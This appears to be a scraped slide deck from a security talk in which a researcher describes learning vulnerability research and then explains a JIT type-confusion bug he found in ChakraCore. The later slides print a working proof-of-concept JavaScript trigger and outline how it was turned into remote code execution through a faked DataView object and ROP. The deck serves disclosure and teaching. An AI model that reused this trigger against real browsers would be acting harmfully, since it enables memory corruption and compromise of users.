0% found this document useful (0 votes)
2K views67 pages

From Zero To Zero Day

The document summarizes the speaker's journey in vulnerability research, starting with learning programming fundamentals in C, C++, and assembly. It then discusses exploring basic vulnerability types through challenges and CTFs before attempting more complex problems. The talk focuses on discovering a zero-day in the ChakraCore JavaScript engine by exploring its internals like array implementations and conversions. It describes how understanding missing value representations in arrays could enable vulnerabilities like CVE-2018-8505.

Uploaded by

itay va
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2K views67 pages

From Zero To Zero Day

The document summarizes the speaker's journey in vulnerability research, starting with learning programming fundamentals in C, C++, and assembly. It then discusses exploring basic vulnerability types through challenges and CTFs before attempting more complex problems. The talk focuses on discovering a zero-day in the ChakraCore JavaScript engine by exploring its internals like array implementations and conversions. It describes how understanding missing value representations in arrays could enable vulnerabilities like CVE-2018-8505.

Uploaded by

itay va
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 67

FROM ZERO TO ZERO DAY

@j0nathanj / Jonathan Jacobi


MSRC-IL, Microsoft
# whoami

• @j0nathanj

• 18 years old, CS and Math graduate

• Interested in vuln research

• Security researcher @ MSRC-IL

• A CTF player with Perfect Blue


What is this talk about?

• My journey, basically

• What I learned in the past year ~

• How it got me to finding my first 0-day in ChakraCore

• Demo!
Vuln research – why?

• Thinking of cases that the devs did not consider

• A very challenging riddle :)

• It’s awesome!
What is a vulnerability?
What is a vulnerability?
What is a vulnerability?
The Journey, part 0x0: Programming
• Being a solid developer is an important part of being a vuln researcher

• The most notable and used programming languages/topics that helped me progress
are mainly C, C++, Assembly, OS internals and Python

• The C Programming Language – awesome read!

• I don’t really know enough C++ tbh :P

• Assembly I learned from an awesome book in Hebrew


Part 0x1: Vuln research basics
• Basic vulnerabilities
• Classic stack buffer overflows • CTFs!
• Integer overflows • Group effort, much more exciting

• Heap overflows • Totally fine to fail

• Use after Frees

• Solve basic challenges:


• Overthewire

• Exploit-exercises

• Write ups – great way to learn!


Part 0x2: Diving to the deep water

• Make sure you’re familiar with the basics

• BUT: DON’T stay in the “shallow water” for too long

• Try harder things, don’t be afraid to fail - we all learn from our failures!

• I tried to always expose myself to harder challenges, even to ones I was not sure I
could solve.
Part 0x3: Pwn, Repeat

• Practice =)

• Solve CTF challenges, read write-ups for them

• Read about actual real-world vulns

• GET YOUR HANDS DIRTY!


What IS a vulnerability?

vulnerability
Part 0x4: Vuln discovery

• I came to the point where I have seen a few different vuln types, and some of them
had some things in common.

• Some examples to where a lot of vulns exist:


- Complex code

- Programming errors, e.g., integer or signedness issues

- Bad coding practices, e.g., assuming too much about input

- Many more
Part 0x4: Vuln discovery

• Very trivial, yet still out there!

• Bugs are bugs (regardless of how complex they are)

• There are still countless bugs out there!


Part 0x4: Vuln discovery – CTFs vs. IRL

• CTFs: Usually in CTFs the vuln is a bug that does not require too much to reach it

• IRL: Some times vulns aren’t a single mistake


• A bunch of weird states/primitives

• Chained together, they form something bigger

• Can be turned into a vuln

• We will see that later in the Chakra vuln ☺


JavaScript (Engines) 101

• “But you didn’t say you learned JavaScript!”

• JS engines are responsible for actually running the JS code that comes in

• Doing this efficiently is hard, which is the why they are so complex
• Parser
• Interpreter
• Runtime
• JIT compiler <--- the interesting part for our use-case
• Garbage Collector
JavaScript 101 :: Basics

• Dynamically typed language

• Fairly readable

var array = [1.1, 1234, "value"];


var another_array = new Array(10);

var obj = { member : "value" };

console.log(array[0]); // prints 1.1


console.log(obj.member); // prints value
JavaScript 101 :: Prototypes

• JS objects have “prototypes”, which are used to inherit features from other objects

• Can be modified using __proto__ to change the prototype of an object

var parentObj = { x : 1, y : 2 };
var childObj = { z : 3 };
childObj.__proto__ = parentObj;

console.log(childObj.x); // 1
console.log(childObj.y); // 2
console.log(childObj.z); // 3
JavaScript 101 :: Proxy

• A Proxy is an Object that can be used to re-define basic operations

• We can trap calls to functions like object getters and setters


• Including the getter for __proto__!

function getter_handler(o, member) {


return "got proxied";
}

var handler = { get : getter_handler };


var proxy = new Proxy({}, handler);

proxy.x = 0x1337;
console.log(proxy.x); // prints "got_proxied"
ChakraCore 101 :: Arrays

JavascriptNativeIntArray

• Stores integers

• 4 bytes per element

var int_arr = [1];


ChakraCore 101 :: Arrays

JavascriptNativeFloatArray

• Stores floats

• 8 bytes per element

var float_arr = [13.37];


ChakraCore 101 :: Arrays

JavascriptArray

• Stores objects

• 8 bytes per element

var object_arr = [{}];


ChakraCore 101 :: Conversions

var int_arr = [1]; // JavascriptNativeIntArray

int_arr[0] = 13.37; // Converted to JavascriptNativeFloatArray

int_arr[0] = {}; // Converted to JavascriptArray

var float_arr = [1.1, 2, 3] // JavascriptNativeFloatArray


ChakraCore 101 :: Conversions

var mixed_arr = [1, 1.1, {}]; // JavascriptArray

var array1 = [1]; // JavascriptNativeIntArray

var array2 = [2]; // JavascriptNativeIntArray

array2.__proto__ = array1; // array1 --> JavascriptArray


ChakraCore 101 :: Array layout

JavascriptArray Segment Segment

ArrayFlags left left

length length length

head size size

… next next …
Element[0] Element[0]

… …

Loosely based on a diagram from “The ECMA and the Chakra: Hunting bugs in the Microsoft Edge Script Engine” by @natashenka. Great talk btw ☺
ChakraCore 101 :: Array layout

• When debugging the following sample code, we can see the state of the fields
we just mentioned.

var arr = [0xaaaaaa, 0x31337];


ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];

JavascriptArray properties

Segment properties

Segment’s memory layout


(includes the elements – the
address in the picture below
is pArr->head)
ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];

• One interesting field for our vuln is the arrayFlags field of JavascriptArray.

• The “DynamicObjectFlags” is an enum which is defined as follows:


ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];

• In our example:

InitialArrayValue = ObjectArrayFlagsTag | HasNoMissingValues

• The HasNoMissingValues flag indicates that the array does not have missing
values

• The ObjectArrayFlagsTag flag is not interesting for our case


ChakraCore internals :: Missing Values
• Code sample:
var arr = new Array(3);

arr[0] = -1.1885959257070704e+148; // == (double)0xdeadbeefdeadbeef


arr[2] = 2261634.5098039214; // == (double)0x4141414141414141

• The array’s arrayFlags property:

As seen, the
HasNoMissingValues flag
is OFF – which indicates that
there are indeed missing
values in the array.
ChakraCore internals :: var arr = new Array(3);
arr[0] = -1.1885959257070704e+148; // == (double)0xdeadbeefdeadbeef

Missing Values arr[2] = 2261634.5098039214; // == (double)0x4141414141414141

• Let’s have a look at how those so called “missing values” are represented in memory.

• This is the memory dump of the Segment, marked in red are the elements of the array:

??? Where did 0xfff80002fff80002 come from?


ChakraCore vulns :: Missing Values

• Wait.. What ?
• Mixing data && metadata

• 2 separate things to indicate the same


state (HasNoMissingValues flag /
Magic value as element)
ChakraCore vulns :: Missing Values

• Can we insert a fake Missing Value to an array?

var arr = [1.1, 2.2, 3.3];

arr[0] = <MissingValue_Magic>; // this value changed a few times lately


console.log(arr[0]); // undefined

• Can be turned into a vuln! CVE-2018-8505 by @S0rryMybad and @lokihardt

• Not possible any more (or is it .. ? :P) – “mitigated” in a few ways


• Magic value constant changed (now can’t be represented as a float)
• A few more checks were added
ChakraCore internals (again) :: FLOATVAR

• In scenarios where we have a JavascriptArray with float values inside of it,


the float values are “boxed” and XORed with a constant:

• Can we use the same missing value trick in JavascriptArray?


• Is the magic constant different?
• XORing with the tag allows us to represent values that we couldn’t before
ChakraCore vulns :: FLOATVAR && Missing Values

• We can’t represent the magic value with a normal float, BUT:


• The magic value is still the same, even if FLOATVAR is enabled!
• xor(xor(a,b), a) == b
• The magic value can be represented by a “boxed” float: xor(magic, FloatTag_Value)!

var arr = [1.1, 2.2, {}]; // floats here are boxed


arr[0] = <Boxed_MagicValue_Float>;
console.log(arr[0]); // undefined
JIT Bugs :: Type Confusions

• JIT type confusions are vulns that occur due to wrong assumptions by the JIT
• Most common: “Side Effect” that took place, and the JIT was not aware of.

• Example:
• JITed function invokes a function foo() that changes the type of an array

• JITed function doesn’t know the conversion happened, and uses the old type of the array

• Leads to a Type Confusion in the JITed code, could potentially be turned into an RCE
JIT Bugs :: Type Confusions

• Theoretical example:

function jit(arr) {
foo(arr); // Side Effect *may* change arr’s type
• Force jit() to be JITed and optimized
}

for (let i = 0; i < 0x10000; i++) { • JITed function makes assumptions on


jit(arr_type1); obj type
}

• Has checks for whether (some)


jit(arr_type2); // cause type confusion
assumptions break
JIT Bugs :: Type Confusions

• Theoretical example:

• Side Effect took place

function jit(arr) { • JIT engine failed to check whether the


foo(arr); // Side Effect *may* change arr’s type assumptions are wrong
}
• Incorrect use of the array
for (let i = 0; i < 0x10000; i++) {
jit(arr_type1);
}

jit(arr_type2); // cause type confusion


ChakraCore vulns :: weird state --> vuln

• As already mentioned, this weird state was already investigated by Loki and
S0rryMybad

• They both found out that Array.prototype.concat has an interesting code-path


where it takes into account both HasNoMissingValues, and the values of the
elements in the array.
ChakraCore vulns :: weird state --> vuln

• Once we successfully have a fake missing value in an array (will be referred to as


“buggy”), the following code could trigger an interesting flow:

var float_arr = [ 1.1 ];

float_arr.concat(buggy); // buggy has a fake MissingValue


ChakraCore vulns :: weird state --> vuln * aItem is what we referred to as “buggy”

• We will reach the following if-statement:

We can get
isFillFromPrototypes to
return false if
HasNoMissingValues is set,
as seen in the next slide
ChakraCore vulns :: weird state --> vuln * “this” is what we referred to as “buggy”
ChakraCore vulns :: weird state --> vuln * aItem is what we referred to as “buggy”

• After passing the IsFillFromPrototypes() check, we will reach the following


else statement, as our array is not a native array:
ChakraCore vulns :: weird state --> vuln

• As HasNoMissingValues is true, we successfully reach the


CopyArrayElements call.

• CopyArrayElements invokes InternalCopyArrayElements, which is quite


interesting in our scenario.
ChakraCore vulns :: weird state --> vuln
• srcArray is our fake missing-value array (the one we named “buggy”)
ChakraCore vulns :: weird state --> vuln

• Iterates over the source array using ArrayElementEnumerator.


• Fun fact about ArrayElementEnumerator: It skips an element if its value is Missing
Value ( == 0xfff80002fff80002)
ChakraCore vulns :: weird state --> vuln
• As we have just seen, missing values are skipped in the iterator.

• --> start + count != end (since it skipped the missing-values)


ChakraCore vulns :: weird state --> vuln
ChakraCore vulns :: weird state --> vuln
ChakraCore vulns :: weird state --> vuln

• “ForEachOwnMissingArrayIndexOfObject” essentially calls


EnsureNonNativeArray for each of the prototypes in the prototype chain
ChakraCore vulns :: weird state --> vuln

• Any guesses what “EnsureNonNativeArray” does ? :P


ChakraCore vulns :: weird state --> vuln

• Quick recap:
• If we create an array with a fake Missing Value, but HasNoMissingValue flag is set, we
reach an interesting code flow from Array.prototype.concat()

• It will loop through the fake array’s prototype chain, and will make sure every prototype in
the prototype-chain is a Non-native array (AKA: JavascriptArray).

• Remember: if some object is the prototype of another object directly, the prototype is
converted to a JavascriptArray.
ChakraCore vulns :: weird state --> vuln

• So, if we could theoretically have a Native array as the prototype, we can cause it to be
converted to a JavascriptArray, without the JIT knowing it..
o Similarly to the “usual” Side-Effect JIT bugs explained earlier

• Fortunately for us, a trick to do so already exists && is well known!


• We can use a Proxy to trap the GetPrototype() call
• But still.. If we write our custom function it’ll detect it as having side-effects 
• …
• Object.prototype.valueOf is marked as without Side-Effects!
• Known and documented trick by Lokihardt, can be found here
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3]; Get jit() to be JITed
jit(tmp, [1.1]); Make it expect 2 Float arrays
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
“buggy” is our array with FLOATVAR
let arr = [1.1]; “arr” will be used as target for the Type Confusion
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf; Use valueOf to bypass the Side Effect constraint
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
The trapped GetPrototype() will return `arr` as
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
NativeFloatArray
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309; Insert a fake Missing Value to the array
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy); Trigger the JITed function
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1]; arr --> JavascriptNativeFloatArray
arr[0] = 1.1; concat() --> arr converted to JavascriptArray
let res = tmp.concat(buggy);
Overwrite a pointer in the JavascriptArray with “0x1234”
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
Crash on faked object @ 0x1234
console.log(arr);
}
(reading from 0x1234+8)
main();
ChakraCore vulns :: PoC --> RCE

• To exploit this bug we faked a DataView object, which in turn grants us an arbitrary read/write
primitive

• Our exploit is based on the Pwn.js library


• An awesome library!
• We had to fix a few small things to make it work for us

• We leaked a stack address with a known trick


• Given arbitrary read and an infoleak, we can get a stack pointer from reading some data off a
ThreadContext

• After that we just ROP and restore what we overwrote, allowing valid process continuation
DEMO
Thank you ☺

• @tom41sh && @Arbel2025 – definitely wouldn’t have made it without you guys!

• The whole @BlueHatIL crew for helping me be prepared for all this ☺

• The MSRC Vulnerabilities & Mitigations team for the great feedback

• @AmarSaar, @bkth_, @_niklasb and everyone else who helped me out!

• Everyone who’s here to watch my talk ;)


QUESTIONS?
Appendix – Learning Resources

• Sploitfun – Linux (x86) Exploit Development Series

• Shellphish how2heap repository

• CTFTime.org – great website to find information and writeups about CTFs

• Pwnable.kr

• Pwnable.tw

You might also like